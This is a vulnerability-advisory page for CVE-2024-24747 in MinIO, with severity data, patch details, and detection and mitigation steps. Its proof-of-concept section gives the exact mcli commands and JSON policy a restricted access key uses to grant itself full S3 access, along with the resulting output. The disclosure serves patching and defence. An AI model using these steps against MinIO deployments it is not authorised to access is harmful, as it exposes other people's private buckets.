CVE-2024-24747 is a high-severity (CVSS 8.8) Improper Privilege Management vulnerability in github.com/minio/minio. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for github.com/minio/minio — see the affected versions and patch details below.
MinIO unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-24747.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/minio/minioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When someone creates an access key, it inherits the permissions of the parent key. Not only for
s3:* actions, but also admin:* actions. Which means unless somewhere above in the
access-key hierarchy, the admin rights are denied, access keys will be able to simply
override their own s3 permissions to something more permissive.
Credit to @xSke for sort of accidentally discovering this. I only understood the implications.
Details / PoC
We spun up the latest version of minio in a docker container and signed in to the admin UI
using the minio root user. We created two buckets, public and private and created an
access key called mycat and attached the following policy to only allow access to the
bucket called public.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::public",
"arn:aws:s3:::public/*"
]
}
]
}
We then set an alias in mc: mcli alias set vuln http://localhost:9001 mycat mycatiscute
And checked whether policy works:
A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT] 0B public/
Looks good, we believe this is how 99% of users will work with access policies.
If I now create a file full-access-policy.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::*"
]
}
]
}
And then:
A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat
Edited service account `mycat` successfully.
mycat has escalated its privileges to get access to the entire deployment:
A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT] 0B private/
[0001-01-01 00:53:28 LMT] 0B public/
Impact
A trivial privilege escalation unless the operator fully understands that they need to
explicitly deny admin actions on access keys.
Patched
commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)
Author: Aditya Manthramurthy <[email protected]>
Date: Wed Jan 31 10:56:45 2024 -0800
fix: permission checks for editing access keys (#18928)
With this change, only a user with `UpdateServiceAccountAdminAction`
permission is able to edit access keys.
We would like to let a user edit their own access keys, however the
feature needs to be re-designed for better security and integration with
external systems like AD/LDAP and OpenID.
This change prevents privilege escalation via service accounts.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/minio/minio | all versions | 0.0.0-20240131185645-0ae4915a9391go get github.com/minio/minio@v0.0.0-20240131185645-0ae4915a9391 |
Affected Products
miniominioResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
MinIO < 2024-01-31T20-20-33Z - Privilege Escalation
by Jenson Zhao · Apr 12, 2024
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/minio/minio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/minio/minio to 0.0.0-20240131185645-0ae4915a9391 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-24747 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Frequently Asked Questions
Is CVE-2024-24747 in your dependencies?
Find it across Go, including transitive dependencies.